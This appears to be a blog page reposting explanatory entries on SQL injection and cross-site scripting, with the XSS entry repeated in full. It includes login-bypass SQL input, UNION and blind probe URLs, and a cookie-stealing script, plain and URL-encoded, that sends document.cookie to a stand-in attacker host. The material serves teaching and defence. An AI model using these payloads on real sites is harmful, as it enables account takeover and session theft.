SQL Injection is an attack technique used to exploit web sites that construct SQL statements from user-supplied input.
Structured Query Language (SQL) is a specialized programming language for sending queries to databases. Most small and industrial- strength database applications can be accessed using SQL statements. SQL is both an ANSI and an ISO standard. However, many database products supporting SQL do so with proprietary extensions to the standard language. Web applications may use user-supplied input to create custom SQL statements for dynamic web page requests.
When a web application fails to properly sanitize user-supplied input, it is possible for an attacker to alter the construction of backend SQL statements. When an attacker is able to modify a SQL statement, the process will run with the same permissions as the component that executed the command. (e.g. Database server, Web application server, Web server, etc.). The impact of this attack can allow attackers to gain total control of the database or even execute commands on the system.
The same advanced exploitation techniques available in LDAP Injection can also be similarly applied to SQL Injection.
Example
A web based authentication form might have code that looks like the following: SQLQuery = "SELECT Username FROM Users WHERE Username = '" & strUsername & "' AND Password = '" & strPassword & "'" strAuthCheck = GetQueryResult(SQLQuery) In this code, the developer is taking the user-input from the form and embedding it directly into an SQL query. Suppose an attacker submits a login and password that looks like the following: Login: ' OR ''=' Password: ' OR ''=' This will cause the resulting SQL query to become: SELECT Username FROM Users WHERE Username = '' OR ''='' AND Password = '' OR ''='' Instead of comparing the user-supplied data with entries in the Users table, the query compares '' (empty string) to '' (empty string). This will return a True result and the attacker will then be logged in as the first user in the Users table.
There are two commonly known methods of SQL injection: Normal SQL Injection and Blind SQL Injection. The first is vanilla SQL Injection in which the attacker can format his query to match the developer's by using the information contained in the error messages that are returned in the response.
Normal SQL Injection
By appending a union select statement to the parameter, the attacker can test to see if he can gain access to the database:
http://example/article.asp?ID=2+union+all+select+name+from+sysobjects
The SQL server then might return an error similar to this: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. This tells the attacker that he must now guess the correct number of columns for his SQL statement to work.
Blind SQL Injection
In Blind SQL Injection, instead of returning a database error, the server returns a customer-friendly error page informing the user that a mistake has been made. In this instance, SQL Injection is still possible, but not as easy to detect. A common way to detect Blind SQL Injection is to put a false and true statement into the parameter value.
Executing the following request to a web site:
http://example/article.asp?ID=2+and+1=1
should return the same web page as:
http://example/article.asp?ID=2
because the SQL statement 'and 1=1' is always true.
Executing the following request to a web site:
http://example/article.asp?ID=2+and+1=0
would then cause the web site to return a friendly error or no page at all. This is because the SQL statement "and 1=0" is always false.
Once the attacker discovers that a site is susceptible to Blind SQL Injection, he can exploit this vulnerability more easily, in some cases, than by using normal SQL Injection.
References
"SQL Injection: Are your Web Applications Vulnerable" - SPI Dynamics http://www.spidynamics.com/support/whitepapers/WhitepaperSQLInjection.pdf
"Blind SQL Injection: Are your Web Applications Vulnerable" - SPI Dynamics
http://www.spidynamics.com/support/whitepapers/Blind_SQLInjection.pdf
"Advanced SQL Injection in SQL Server Applications", Chris Anley - NGSSoftware
http://www.nextgenss.com/papers/advanced_sql_injection.pdf
"More advanced SQL Injection", Chris Anley - NGSSoftware
http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf
"Web Application Disassembly with ODBC Error Messages", David Litchfield - @stake
http://www.nextgenss.com/papers/webappdis.doc
"SQL Injection Walkthrough"
http://www.securiteam.com/securityreviews/5DP0N1P76E.html
"Blind SQL Injection" - Imperva
http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html
"SQL Injection Signatures Evasion" - Imperva
http://www.imperva.com/application_defense_center/white_papers/ sql_injection_signatures_evasion.html
"Introduction to SQL Injection Attacks for Oracle Developers" - Integrigy
http://www.net-security.org/dl/articles/IntegrigyIntrotoSQLInjectionAttacks.pdf
Source: SQL Injection
Showing posts with label Web Security. Show all posts
Showing posts with label Web Security. Show all posts
Monday, May 25, 2009
XSS (Cross-site Scripting)
Cross-site Scripting (XSS) is an attack technique that forces a web site to echo attacker-supplied executable code, which loads in a user's browser. The code itself is usually written in HTML/JavaScript, but may also extend to VBScript, ActiveX, Java, Flash, or any other browser-supported technology.
When an attacker gets a user's browser to execute his code, the code will run within the security context (or zone) of the hosting web site. With this level of privilege, the code has the ability to read, modify and transmit any sensitive data accessible by the browser. A Cross-site Scripted user could have his account hijacked (cookie theft), their browser redirected to another location, or possibly shown fraudulent content delivered by the web site they are visiting. Cross- site Scripting attacks essentially compromise the trust relationship between a user and the web site.
There are two types of Cross-site Scripting attacks, non-persistent and persistent. Non-persistent attacks require a user to visit a specially crafted link laced with malicious code. Upon visiting the link, the code embedded in the URL will be echoed and executed within the user's web browser. Persistent attacks occur when the malicious code is submitted to a web site where it's stored for a period of time. Examples of an attacker's favorite targets often include message board posts, web mail messages, and web chat software. The unsuspecting user is not required to click on any link, just simply view the web page containing the code.
Example
Persistent Attack
Many web sites host bulletin boards where registered users may post messages. A registered user is commonly tracked using a session ID cookie authorizing them to post. If an attacker were to post a message containing a specially crafted JavaScript, a user reading this message could have their cookies and their account compromised.
Cookie Stealing Code Snippet: <SCRIPT> document.location= 'http://attackerhost.example/cgi- bin/cookiesteal.cgi?'+document.cookie </SCRIPT> Non-Persistent Attack
Many web portals offer a personalized view of a web site and greet a logged in user with "Welcome, ". Sometimes the data referencing a logged in user are stored within the query string of a URL and echoed to the screen
Portal URL example:
http://portal.example/index.php?sessionid=12312312&username=Joe
In the example above we see that the username "Joe" is stored in the URL. The resulting web page displays a "Welcome, Joe" message. If an attacker were to modify the username field in the URL, inserting a cookie-stealing JavaScript, it would possible to gain control of the user's account.
A large percentage of people will be suspicious if they see JavaScript embedded in a URL, so most of the time an attacker will URL Encode their malicious payload similar to the example below.
URL Encoded example of Cookie Stealing URL: http://portal.example/index.php?sessionid=12312312& username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65 %6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70 %3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65 %78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F %6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64 %6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73 %63%72%69%70%74%3E Decoded example of Cookie Stealing URL: http://portal.example/index.php?sessionid=12312312& username=<script>document.location='http://attacker host.example/cgi-bin/cookiesteal.cgi?'+document.cookie</script>
References
"CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests"
http://www.cert.org/advisories/CA-2000-02.html
"The Cross Site Scripting FAQ" - CGISecurity.com
http://www.cgisecurity.com/articles/xss-faq.shtml
"Cross Site Scripting Info"
http://httpd.apache.org/info/css-security/
"24 Character entity references in HTML 4"
http://www.w3.org/TR/html4/sgml/entities.html
"Understanding Malicious Content Mitigation for Web Developers"
http://www.cert.org/tech_tips/malicious_code_mitigation.html
"Cross-site Scripting: Are your web applications vulnerable?", By
Kevin Spett - SPI Dynamics
http://www.spidynamics.com/whitepapers/SPIcross-sitescripting.pdf
"Cross-site Scripting Explained", By Amit Klein - Sanctum
http://www.sanctuminc.com/pdf/WhitePaper_CSS_Explained.pdf
"HTML Code Injection and Cross-site Scripting", By Gunter Ollmann
http://www.technicalinfo.net/papers/CSS.html
Source: Cross-site Scripting (XSS)
When an attacker gets a user's browser to execute his code, the code will run within the security context (or zone) of the hosting web site. With this level of privilege, the code has the ability to read, modify and transmit any sensitive data accessible by the browser. A Cross-site Scripted user could have his account hijacked (cookie theft), their browser redirected to another location, or possibly shown fraudulent content delivered by the web site they are visiting. Cross- site Scripting attacks essentially compromise the trust relationship between a user and the web site.
There are two types of Cross-site Scripting attacks, non-persistent and persistent. Non-persistent attacks require a user to visit a specially crafted link laced with malicious code. Upon visiting the link, the code embedded in the URL will be echoed and executed within the user's web browser. Persistent attacks occur when the malicious code is submitted to a web site where it's stored for a period of time. Examples of an attacker's favorite targets often include message board posts, web mail messages, and web chat software. The unsuspecting user is not required to click on any link, just simply view the web page containing the code.
Example
Persistent Attack
Many web sites host bulletin boards where registered users may post messages. A registered user is commonly tracked using a session ID cookie authorizing them to post. If an attacker were to post a message containing a specially crafted JavaScript, a user reading this message could have their cookies and their account compromised.
Cookie Stealing Code Snippet: <SCRIPT> document.location= 'http://attackerhost.example/cgi- bin/cookiesteal.cgi?'+document.cookie </SCRIPT> Non-Persistent Attack
Many web portals offer a personalized view of a web site and greet a logged in user with "Welcome, ". Sometimes the data referencing a logged in user are stored within the query string of a URL and echoed to the screen
Portal URL example:
http://portal.example/index.php?sessionid=12312312&username=Joe
In the example above we see that the username "Joe" is stored in the URL. The resulting web page displays a "Welcome, Joe" message. If an attacker were to modify the username field in the URL, inserting a cookie-stealing JavaScript, it would possible to gain control of the user's account.
A large percentage of people will be suspicious if they see JavaScript embedded in a URL, so most of the time an attacker will URL Encode their malicious payload similar to the example below.
URL Encoded example of Cookie Stealing URL: http://portal.example/index.php?sessionid=12312312& username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65 %6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70 %3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65 %78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F %6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64 %6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73 %63%72%69%70%74%3E Decoded example of Cookie Stealing URL: http://portal.example/index.php?sessionid=12312312& username=<script>document.location='http://attacker host.example/cgi-bin/cookiesteal.cgi?'+document.cookie</script>
References
"CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests"
http://www.cert.org/advisories/CA-2000-02.html
"The Cross Site Scripting FAQ" - CGISecurity.com
http://www.cgisecurity.com/articles/xss-faq.shtml
"Cross Site Scripting Info"
http://httpd.apache.org/info/css-security/
"24 Character entity references in HTML 4"
http://www.w3.org/TR/html4/sgml/entities.html
"Understanding Malicious Content Mitigation for Web Developers"
http://www.cert.org/tech_tips/malicious_code_mitigation.html
"Cross-site Scripting: Are your web applications vulnerable?", By
Kevin Spett - SPI Dynamics
http://www.spidynamics.com/whitepapers/SPIcross-sitescripting.pdf
"Cross-site Scripting Explained", By Amit Klein - Sanctum
http://www.sanctuminc.com/pdf/WhitePaper_CSS_Explained.pdf
"HTML Code Injection and Cross-site Scripting", By Gunter Ollmann
http://www.technicalinfo.net/papers/CSS.html
Source: Cross-site Scripting (XSS)
Subscribe to:
Posts (Atom)